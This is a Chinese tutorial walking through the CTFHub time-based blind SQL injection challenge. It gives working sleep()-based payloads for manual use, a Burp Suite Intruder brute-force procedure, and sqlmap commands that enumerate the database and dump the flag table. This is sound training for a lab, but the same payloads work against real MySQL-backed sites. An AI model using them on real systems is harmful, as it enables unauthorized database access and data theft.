CTFHub技能树|SQL注入之时间盲注 目录一、时间盲注原理1.核心函数2.完整 payload 模板二、CTFHub例题1.手工注入①判断注入点②测试可注入方式③判断数据库长度④猜数据库名字⑤猜数据表名字⑥获取列名⑦获取数据2.使用burpsuite①判断数据库长度②爆数据库名③获取表名④获取列名⑤获取数据3.使用sqlmap实现全自动的时间盲注①获取数据库名称②获取数据表③获取flag字段一、时间盲注原理场景页面没有报错回显、没有内容回显不管 SQL 真假网页返回的页面内容完全一模一样没法通过看页面文字判断查询结果。 核心思路利用 SQL 延时函数 sleep () /benchmark ()根据请求响应时间长短判断条件是真还是假。1.核心函数sleep(N)MySQL 函数执行就休眠 N 秒。sleep(5) # 让数据库停留5秒再返回结果if(条件,真执行,假执行)if(条件为真,sleep(5),1) --条件成立 → 执行sleep(5)请求卡住5秒才返回 --条件不成立 → 执行1直接返回没有延迟2.完整 payload 模板1 and if(ascii(substr((select 要查询的数据),偏移,1))字符ascii码,sleep(5),1)拆解substr(数据,偏移值,1)截取 1 个字符ascii()把字符转为 ascii 数字方便对比如果相等条件 true触发sleep(5)浏览器网络面板看到请求耗时≈5 秒如果不相等条件 false直接返回请求几十毫秒就结束。二、CTFHub例题1.手工注入①判断注入点1id1 and 11 页面返回有数据2id1 and 12 页面返回有数据则页面的返回没有变化可能是盲注②测试可注入方式1页面没有回显位置联合注入无法使用2页面不显示数据库的报错信息报错注入无法使用3无论成功还是失败页面只响应一种结果布尔盲注无法使用判断使用时间盲注③判断数据库长度1 and if(length(database())4,sleep(5),1)可以观察到明显的延时现象后才出现回显内容这表明数据库名称长度为4。我们也可以通过查看请求耗时④猜数据库名字1 and if(substr(database(),1,1)s,sleep(5),1)最终试出数据库名称为sqli⑤猜数据表名字1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,1)f,sleep(5),1)由上图可以看出第一个字母为f第一个表的名字测试出为’flag‘⑥获取列名1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_namesqli),1,1)a,sleep(5),1)最终测试出列名为’flag‘⑦获取数据1 and if(substr((select group_concat(flag) from flag),1,1)a,sleep(5),1)2.使用burpsuite基于这样的一个延时原理接下来我们使用burpsuite进行爆破①判断数据库长度爆破payload?id1 and if(length(database())4,sleep(5),1) --为了爆破时间短一点我们可以将sleep的时间设置短一点但是有时候这个sleep时间也会影响到判断的准确性将抓到的数据包放入Intruder中设置爆破位置选用攻击类型狙击手Sniper单个参数爆破设置爆破字典开始攻击。攻击结果如下如果直接看结果是看不出来的因为都是回显正常我们需要基于响应耗时来筛选得出数据库名长度为4②爆数据库名爆破payload?id1 and if(substr(database(),1,1)s,sleep(5),1) --同样选择攻击模式集束炸弹以及设置爆破位置这里需要爆破的参数有两个设置爆破字典第一个参数的字典显然是1到4因为数据库长度为4第二个参数的字典这里以所有小写字母为例实际情况应该更复杂同样按照默认排序看不出任何东西我们需要先筛选出执行了sleep函数的payload再将其按照payload1从1到4的顺序排列得到当前数据库名为sqli③获取表名爆破payload?id1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,1)c,sleep(5),1)--④获取列名爆破payload?id1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_namesqli),1,1)a,sleep(5),1)--⑤获取数据爆破payload?id1 and if(substr((select group_concat(flag) from flag),1,1)a,sleep(5),1)--最后给出的三个payload我并未进行实际测试各位自行测试若有问题可以评论反馈。3.使用sqlmap实现全自动的时间盲注①获取数据库名称sqlmap -u http://challenge-ea8b2c5c52e435dd.sandbox.ctfhub.com:10800/?id1 --dbs②获取数据表sqlmap -u http://challenge-ea8b2c5c52e435dd.sandbox.ctfhub.com:10800/?id1 -D sqli --tables参数说明-D 指定数据库--tables 获取表③获取flag字段sqlmap -u http://challenge-ea8b2c5c52e435dd.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag --dump --batch以上就是关于SQL注入的时间盲注包括手工注入、burpsuite爆破与使用sqlmap自动化注入。参考文章关于SQL时间盲注基于sleep函数的手动测试、burpsuite爆破、sqlmap全自动化注入_sql 语句 and sleep-CSDN博客SQL注入---时间盲注-CSDN博客**CTFHub**做题记录--Web篇 - 知乎

相关新闻

最新新闻

原神抽卡记录导出工具:3分钟掌握你的抽卡命运

原神抽卡记录导出工具:3分钟掌握你的抽卡命运

原神抽卡记录导出工具:3分钟掌握你的抽卡命运 【免费下载链接】genshin-wish-export Easily export the Genshin Impact wish record. 项目地址: https://gitcode.com/GitHub_Trending/ge/genshin-wish-export 你是否曾为原神的抽卡记录无法保存而烦恼&#…

2026/8/9 6:40:49
SeaTunnel与Gravitino集成:基于Schema URL实现表结构自动感知与同步

SeaTunnel与Gravitino集成:基于Schema URL实现表结构自动感知与同步

1. 项目概述:当数据搬运工遇上“元数据管家” 如果你经常和数据打交道,尤其是负责在不同系统之间“搬运”数据,那你一定对“表结构”这个事儿又爱又恨。爱的是,它定义了数据的骨架,让一切井然有序;恨的是&a…

2026/8/9 6:40:49
数位板压感失灵?从驱动安装到软件设置的完整解决方案

数位板压感失灵?从驱动安装到软件设置的完整解决方案

这次我们来看一个非常实用的技术操作:数位板压感调节。对于数字绘画、手写笔记、签名设计等场景,压感直接决定了笔触的流畅度、线条的粗细变化和创作体验。很多用户在连接数位板后,发现压感失灵、线条无变化,或者感觉压感曲线不符…

2026/8/9 6:40:49
Web和APP Monkey测试方案

Web和APP Monkey测试方案

在大模型时代,已经出现了不少成熟的方案,它们将传统Monkey测试的“随机性”升级为了由AI驱动的“智能化”探索。这些方案的核心思路,是让AI大模型(LLM)理解应用界面,并像人类一样做出有目的的操作&#xff…

2026/8/9 6:40:49
C++ UDP客户端编程实战:从Socket API到可靠性增强

C++ UDP客户端编程实战:从Socket API到可靠性增强

1. 项目概述:为什么我们需要一个UDP客户端?在网络编程的世界里,TCP和UDP是两大基石。如果说TCP是打电话,需要先拨号、接通、确认对方在线,然后才能开始一段稳定、有序、不丢字的对话,那么UDP就是发短信。你…

2026/8/9 6:40:49
Unity物理引擎中Drag与Angular Drag参数详解与实战调优

Unity物理引擎中Drag与Angular Drag参数详解与实战调优

1. 项目概述:从两个“阻力”说起在Unity里做物理模拟,尤其是想让物体动起来感觉“对味儿”,Rigidbody组件里的Drag(阻力)和Angular Drag(角阻力)是两个绕不开的参数。很多刚接触Unity物理引擎的…

2026/8/9 6:35:49